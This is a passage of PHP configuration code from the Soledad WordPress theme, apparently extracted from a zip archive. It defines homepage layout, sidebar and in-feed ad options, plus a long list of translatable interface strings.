		'masonry-2'        => __( 'Grid Masonry 2 Columns Posts', 'soledad' ),
		'list'             => __( 'List Posts', 'soledad' ),
		'list-boxed'       => __( 'List Boxed', 'soledad' ),
		'list-boxed-2'     => __( 'List Boxed 2', 'soledad' ),
		'small-list'       => __( 'Small List Posts', 'soledad' ),
		'boxed-1'          => __( 'Boxed Posts Style 1', 'soledad' ),
		'boxed-2'          => __( 'Boxed Posts Style 2', 'soledad' ),
		'mixed'            => __( 'Mixed Posts', 'soledad' ),
		'mixed-2'          => __( 'Mixed Posts Style 2', 'soledad' ),
		'mixed-3'          => __( 'Mixed Posts Style 3', 'soledad' ),
		'mixed-4'          => __( 'Mixed Posts Style 4', 'soledad' ),
		'photography'      => __( 'Photography Posts', 'soledad' ),
		'magazine-1'       => __( 'Magazine Style 1', 'soledad' ),
		'magazine-2'       => __( 'Magazine Style 2', 'soledad' ),
		'standard-grid'    => __( '1st Standard Then Grid', 'soledad' ),
		'standard-grid-2'  => __( '1st Standard Then Grid 2 Columns', 'soledad' ),
		'standard-list'    => __( '1st Standard Then List', 'soledad' ),
		'standard-boxed-1' => __( '1st Standard Then Boxed', 'soledad' ),
		'classic-grid'     => __( '1st Classic Then Grid', 'soledad' ),
		'classic-grid-2'   => __( '1st Classic Then Grid 2 Columns', 'soledad' ),
		'classic-list'     => __( '1st Classic Then List', 'soledad' ),
		'classic-boxed-1'  => __( '1st Classic Then Boxed', 'soledad' ),
		'overlay-grid'     => __( '1st Overlay Then Grid', 'soledad' ),
		'overlay-list'     => __( '1st Overlay Then List', 'soledad' )
	)
);
$options[] = array(
	'id'              => 'penci_home_grid_col',
	'label'           => __( 'Grid Columns', 'soledad' ),
	'type'            => 'soledad-fw-select',
	'choices'         => array(
		''  => __( 'Default', 'soledad' ),
		'2' => __( '2 Columns', 'soledad' ),
		'3' => __( '3 Columns', 'soledad' ),
		'4' => __( '4 Columns', 'soledad' ),
		'5' => __( '5 Columns', 'soledad' ),
	),
	'sanitize'        => 'penci_sanitize_choices_field',
	'default'         => '',
	'active_callback' => [
		[
			'setting'  => 'penci_home_layout',
			'operator' => 'in',
			'value'    => [ 'grid-boxed', 'grid-boxed-2', 'masonry', 'grid' ],
		]
	],
);
$options[] = array(
	'id'              => 'penci_home_grid_mcol',
	'label'           => __( 'Grid Columns on Mobile', 'soledad' ),
	'type'            => 'soledad-fw-select',
	'choices'         => array(
		''  => __( 'Default', 'soledad' ),
		'1' => __( '1 Column', 'soledad' ),
		'2' => __( '2 Columns', 'soledad' ),
	),
	'default'         => '',
	'sanitize'        => 'penci_sanitize_choices_field',
	'active_callback' => [
		[
			'setting'  => 'penci_home_layout',
			'operator' => 'in',
			'value'    => [ 'grid-boxed', 'grid-boxed-2', 'masonry', 'grid' ],
		]
	],
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Custom Heading Title of Latest Posts Section', 'soledad' ),
	'id'          => 'penci_home_title',
	'description' => __( 'You can check <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/heading-title-latest-posts.png" target="_blank">this image</a> to know what\'s "Heading Title of Latest Posts Section".<br>If you want hide it, let empty this option', 'soledad' ),
	'type'        => 'soledad-fw-text',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Exclude specific categories from latest posts on Homepage', 'soledad' ),
	'id'          => 'penci_home_exclude_cat',
	'description' => __( 'Example: if you do not want all posts in categories: Fashion, Life Style show on your latest posts on homepage. You can fill slug of the categories here: fashion, life-style. You can see <a class="wp-customizer-link" rel="nofollow" href="https://pencidesign.net/soledad/soledad-document/assets/images/magazine-2.png" target="_blank">this image</a> to understand what is slug', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'default'  => '10',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Shown Per Page on Homepage', 'soledad' ),
	'id'       => 'penci_home_lastest_posts_numbers',
	'ids'      => array(
		'desktop' => 'penci_home_lastest_posts_numbers',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '10',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Latest Posts On Homepage', 'soledad' ),
	'id'       => 'penci_hide_latest_post_homepage',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Load More Button on Homepage', 'soledad' ),
	'id'       => 'penci_page_navigation_ajax',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Infinite Scroll on Homepage', 'soledad' ),
	'id'       => 'penci_page_navigation_scroll',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'label'    => __( 'Number of Posts for Each Time Load More Posts', 'soledad' ),
	'id'       => 'penci_number_load_more',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_number_load_more',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Sidebar On Homepage', 'soledad' ),
	'id'       => 'penci_sidebar_home',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Left Sidebar On Homepage', 'soledad' ),
	'id'       => 'penci_left_sidebar_home',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Two Sidebars On Homepage', 'soledad' ),
	'id'       => 'penci_two_sidebar_home',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Add Meta Description for Homepage', 'soledad' ),
	'description' => __( 'If you\'re using a SEO plugin, maybe it already added a meta description. So, you don\'t need to use this option anymore.', 'soledad' ),
	'id'          => 'penci_home_metadesc',
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'default'     => 'main-sidebar',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Sidebar for Homepage', 'soledad' ),
	'id'          => 'penci_sidebar_name_home',
	'description' => __( 'If sidebar your choice is empty, will display Main Sidebar', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => get_list_custom_sidebar_option()
);
$options[] = array(
	'default'     => 'main-sidebar-left',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Sidebar Left for Homepage', 'soledad' ),
	'id'          => 'penci_sidebar_left_name_home',
	'description' => __( 'If sidebar your choice is empty, will display Main Sidebar Left. This option just use when you enable 2 sidebars for Homepage', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => get_list_custom_sidebar_option()
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Add More &lt;H1&gt; Tag for Homepage', 'soledad' ),
	'id'          => 'penci_home_h1content',
	'description' => __( 'Write content for &lt;H1&gt; tag here', 'soledad' ),
	'type'        => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'In-Feed Ads on Latest Posts', 'soledad' ),
	'id'       => 'penci_heading_infeed_ads_home',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '3',
	'sanitize' => 'absint',
	'label'    => __( 'Insert In-feed Ads Code After Every How Many Posts?', 'soledad' ),
	'id'       => 'penci_infeedads_home_num',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_infeedads_home_num',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '3',
		),
	),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'In-feed Ads Code/HTML', 'soledad' ),
	'description' => __( 'Please use normal responsive ads here to get the best results - the in-feed ads can\'t work with auto-ads because auto-ads will randomly place your ads on random places on the pages.', 'soledad' ),
	'id'          => 'penci_infeedads_home_code',
	'type'        => 'soledad-fw-code',
	'code_type'   => 'text/html',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'In-feed Ads Layout Type', 'soledad' ),
	'id'       => 'penci_infeedads_home_layout',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''     => __( 'Follow Current Layout', 'soledad' ),
		'full' => __( 'Full Width', 'soledad' ),
	)
);

return $options;
PK     0w\ļOWj  j  N  customizer/config/sections/pencidesign_new_section_transition_lang_section.phpnu [        <?php
$options = [];
/* Add Options */
$options[] = array(
	'default'  => 'Type and hit enter...',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Type and hit enter..."', 'soledad' ),
	'id'       => 'penci_trans_type_and_hit',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'read',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "read" - suffix of reading time', 'soledad' ),
	'id'       => 'penci_trans_read',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'views',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "views"', 'soledad' ),
	'id'       => 'penci_trans_countviews',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'ago',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "ago" after Time Ago Format', 'soledad' ),
	'id'       => 'penci_trans_tago',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Add Text Before Time Ago Format', 'soledad' ),
	'id'       => 'penci_trans_beforeago',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Published:',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Published:"', 'soledad' ),
	'id'       => 'penci_trans_published',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Updated:',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Updated:"', 'soledad' ),
	'id'       => 'penci_trans_modifiedat',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'comment',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "comment"', 'soledad' ),
	'id'       => 'penci_trans_comment',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'     => 'comments',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Text: "comments"', 'soledad' ),
	'description' => __( 'for plural of comments', 'soledad' ),
	'id'          => 'penci_trans_comments',
	'type'        => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Reply',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Reply"', 'soledad' ),
	'id'       => 'penci_trans_reply_comment',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Edit',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Edit"', 'soledad' ),
	'id'       => 'penci_trans_edit_comment',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Your comment is awaiting approval',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Your comment is awaiting approval"', 'soledad' ),
	'id'       => 'penci_trans_wait_approval_comment',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Save my name, email, and website in this browser for the next time I comment.',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Save my name, email, and website in this browser for the next time I comment."', 'soledad' ),
	'id'       => 'penci_trans_save_fields',
	'type'     => 'soledad-fw-textarea',
);
$options[] = array(
	'default'  => 'by',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "by"', 'soledad' ),
	'id'       => 'penci_trans_by',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Home',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Home"', 'soledad' ),
	'id'       => 'penci_trans_home',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Newer Posts',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Newer Posts"', 'soledad' ),
	'id'       => 'penci_trans_newer_posts',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Older Posts',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Older Posts"', 'soledad' ),
	'id'       => 'penci_trans_older_posts',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Load More Posts',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Load More Posts"', 'soledad' ),
	'id'       => 'penci_trans_load_more_posts',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Load More Items',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Load More Items"', 'soledad' ),
	'id'       => 'penci_trans_load_more_items',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Load More Comments',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Load More Comments"', 'soledad' ),
	'id'       => 'penci_trans_load_more_comments',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Sorry, No more posts',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Sorry, No more posts"', 'soledad' ),
	'id'       => 'penci_trans_no_more_posts',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Sorry, No more items',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Sorry, No more items"', 'soledad' ),
	'id'       => 'penci_trans_no_more_items',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Sorry, No more comments',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Sorry, No more comments"', 'soledad' ),
	'id'       => 'penci_trans_no_more_comments',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Sorry, No comments found.',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Sorry, No comments found."', 'soledad' ),
	'id'       => 'penci_trans_no_comments',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'All',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "All"', 'soledad' ),
	'id'       => 'penci_trans_all',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Close',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Close"', 'soledad' ),
	'id'       => 'penci_trans_close',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Back To Top',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Back To Top"', 'soledad' ),
	'id'       => 'penci_trans_back_to_top',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'written by',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "written by"', 'soledad' ),
	'id'       => 'penci_trans_written_by',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Updated by',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Updated by"', 'soledad' ),
	'id'       => 'penci_trans_updated_by',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Reviewed by',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Reviewed by"', 'soledad' ),
	'id'       => 'penci_trans_reviewed_by',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Edited by',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Edited by"', 'soledad' ),
	'id'       => 'penci_trans_edited_by',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Revised by',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Revised by"', 'soledad' ),
	'id'       => 'penci_trans_revised_by',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default' => 'You Might Be Interested In',
	'label'   => __( 'Text: "You Might Be Interested In"', 'soledad' ),
	'id'      => 'penci_inlinerp_title',
	'type'    => 'soledad-fw-text',
);
$options[] = array(
	'default' => 'Author Profile',
	'label'   => __( 'Text: "Author Profile"', 'soledad' ),
	'id'      => 'penci_trans_author_profile',
	'type'    => 'soledad-fw-text',
);
$options[] = array(
	'default' => 'Posts by the Author',
	'label'   => __( 'Text: "Posts by the Author"', 'soledad' ),
	'id'      => 'penci_trans_author_related',
	'type'    => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'previous post',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "previous post"', 'soledad' ),
	'id'       => 'penci_trans_previous_post',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'next post',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "next post"', 'soledad' ),
	'id'       => 'penci_trans_next_post',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'You may also like',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Related Posts Custom Text', 'soledad' ),
	'id'       => 'penci_post_related_text',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Read also',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Read also"', 'soledad' ),
	'id'       => 'penci_rltpopup_heading_text',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Next',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Next"', 'soledad' ),
	'id'       => 'penci_trans_next',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Back',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Back"', 'soledad' ),
	'id'       => 'penci_trans_back',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'K',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "K" (Stands for Thousands)', 'soledad' ),
	'id'       => 'penci_trans_k_number',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'M',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "M" (Stands for Millions)', 'soledad' ),
	'id'       => 'penci_trans_m_number',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Bookmark',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Bookmark"', 'soledad' ),
	'id'       => 'penci_trans_bookmark',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'A+',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "A+"', 'soledad' ),
	'id'       => 'penci_trans_a1',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'A-',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "A-"', 'soledad' ),
	'id'       => 'penci_trans_a2',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Reset',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Reset"', 'soledad' ),
	'id'       => 'penci_trans_reset',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Sponsored',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Sponsored"', 'soledad' ),
	'id'       => 'penci_trans_sponsored',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Sponsored by:',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Sponsored by:"', 'soledad' ),
	'id'       => 'penci_trans_sponsored_by',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Name*',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Name*"', 'soledad' ),
	'id'       => 'penci_trans_name',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Email*',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Email*"', 'soledad' ),
	'id'       => 'penci_trans_email',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Website',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Website"', 'soledad' ),
	'id'       => 'penci_trans_website',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Your Comment',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Your Comment"', 'soledad' ),
	'id'       => 'penci_trans_your_comment',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Leave a Comment',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Leave a Comment"', 'soledad' ),
	'id'       => 'penci_trans_leave_a_comment',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Cancel Reply',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Cancel Reply"', 'soledad' ),
	'id'       => 'penci_trans_cancel_reply',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Submit',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Submit"', 'soledad' ),
	'id'       => 'penci_trans_submit',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Category:',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Category:"', 'soledad' ),
	'id'       => 'penci_trans_category',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Continue Reading',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Continue Reading"', 'soledad' ),
	'id'       => 'penci_trans_continue_reading',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Read more',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Read more"', 'soledad' ),
	'id'       => 'penci_trans_read_more',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'View All',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "View All"', 'soledad' ),
	'id'       => 'penci_trans_view_all',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Tag:',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Tag:"', 'soledad' ),
	'id'       => 'penci_trans_tag',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Tags',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Tags"', 'soledad' ),
	'id'       => 'penci_trans_tags',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Posts tagged with',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Posts tagged with"', 'soledad' ),
	'id'       => 'penci_trans_posts_tagged',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Author',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Author"', 'soledad' ),
	'id'       => 'penci_trans_author',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Daily Archives',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Daily Archives"', 'soledad' ),
	'id'       => 'penci_trans_daily_archives',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Monthly Archives',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Monthly Archives"', 'soledad' ),
	'id'       => 'penci_trans_monthly_archives',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Yearly Archives',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Yearly Archives"', 'soledad' ),
	'id'       => 'penci_trans_yearly_archives',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Archives',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Archives"', 'soledad' ),
	'id'       => 'penci_trans_archives',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Search',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Search"', 'soledad' ),
	'id'       => 'penci_trans_search',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Search results for',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Search results for"', 'soledad' ),
	'id'       => 'penci_trans_search_results_for',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Share',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Share"', 'soledad' ),
	'id'       => 'penci_trans_share',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Comments are closed.',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Comments are closed."', 'soledad' ),
	'id'       => 'penci_trans_comments_closed',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Sorry, but nothing matched your search terms. Please try again with some different keywords.',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Sorry, but nothing matched your search terms. Please try again with some different keywords."', 'soledad' ),
	'id'       => 'penci_trans_search_not_found',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Back to Home Page',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Back to Home Page"', 'soledad' ),
	'id'       => 'penci_trans_back_to_homepage',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Recent',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Recent"', 'soledad' ),
	'id'       => 'penci_trans_recent',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Popular',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Popular"', 'soledad' ),
	'id'       => 'penci_trans_popular',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Post',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Post"', 'soledad' ),
	'id'       => 'penci_trans_post',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Posts',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Posts"', 'soledad' ),
	'id'       => 'penci_trans_posts',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'No results',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "No results"', 'soledad' ),
	'id'       => 'penci_trans_npostfound',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Show all results',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Show all results"', 'soledad' ),
	'id'       => 'penci_trans_allresult',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'minutes',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "minutes"', 'soledad' ),
	'id'       => 'penci_trans_minutes',
	'type'     => 'soledad-fw-text',
);

$new_translates = array(
	'penci_trans_followers'       => esc_html__( "Followers", 'soledad' ),
	'penci_trans_follow'          => esc_html__( "Follow", 'soledad' ),
	'penci_trans_following'       => esc_html__( "Following", 'soledad' ),
	'penci_trans_likes'           => esc_html__( "Likes", 'soledad' ),
	'penci_trans_showing_result'  => __( 'Showing {{value}}-{{value}} of {{value}} post results', 'soledad' ),
	'penci_trans_sort_latest'     => __( 'Sort by latest', 'soledad' ),
	'penci_trans_sort_older'      => __( 'Sort by older', 'soledad' ),
	'penci_trans_no_content'      => __( 'No Content Available', 'soledad' ),
	'penci_trans_my_account'      => __( 'My Account', 'soledad' ),
	'penci_trans_edit_account'    => __( 'Edit Account', 'soledad' ),
	'penci_trans_change_password' => __( 'Change Password', 'soledad' ),
	'penci_trans_oldpassword'     => __( 'Old Password', 'soledad' ),
	'penci_trans_newpassword'     => __( 'New Password', 'soledad' ),
	'penci_trans_cpassword'       => __( 'Confirm Password', 'soledad' ),
	'penci_trans_cimage'          => __( 'Choose Image', 'soledad' ),
	'penci_trans_admedia'         => __( 'Add Media', 'soledad' ),
	'penci_trans_insert'          => __( 'Insert', 'soledad' ),
	'penci_trans_newest'          => __( 'Newest', 'soledad' ),
	'penci_trans_oldest'          => __( 'Oldest', 'soledad' ),
	'penci_trans_mostviewed'      => __( 'Most Viewed', 'soledad' ),
	'penci_trans_mostcommented'   => __( 'Most Commented', 'soledad' ),
	'penci_trans_sources'         => __( 'Sources', 'soledad' ),
	'penci_trans_smonth'  		  => __( 'Select Month', 'soledad' ),
);
foreach ( $new_translates as $new_translate_id => $new_translate_label ) {
	$options[] = array(
		'default'  => $new_translate_label,
		'sanitize' => 'sanitize_text_field',
		'label'    => __( 'Text: "' . $new_translate_label . '"', 'soledad' ),
		'id'       => $new_translate_id,
		'type'     => 'soledad-fw-text',
	);
}
$options[]      = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Login/Register Form', 'soledad' ),
	'id'       => 'penci_loginform_heading',
	'type'     => 'soledad-fw-header',
);
$login_register = array(
	'penci_trans_hello_text'             => esc_html__( 'Hello', 'soledad' ),
	'penci_trans_dashboard_text'         => esc_html__( 'Dashboard', 'soledad' ),
	'penci_trans_profile_text'           => esc_html__( 'Profile', 'soledad' ),
	'penci_trans_logout_text'            => esc_html__( 'Logout', 'soledad' ),
	'penci_trans_sign_in'                => esc_html__( 'Sign In', 'soledad' ),
	'penci_trans_register_new_account'   => esc_html__( 'Register New Account', 'soledad' ),
	'penci_trans_recover_pass'           => esc_html__( 'Password Recovery', 'soledad' ),
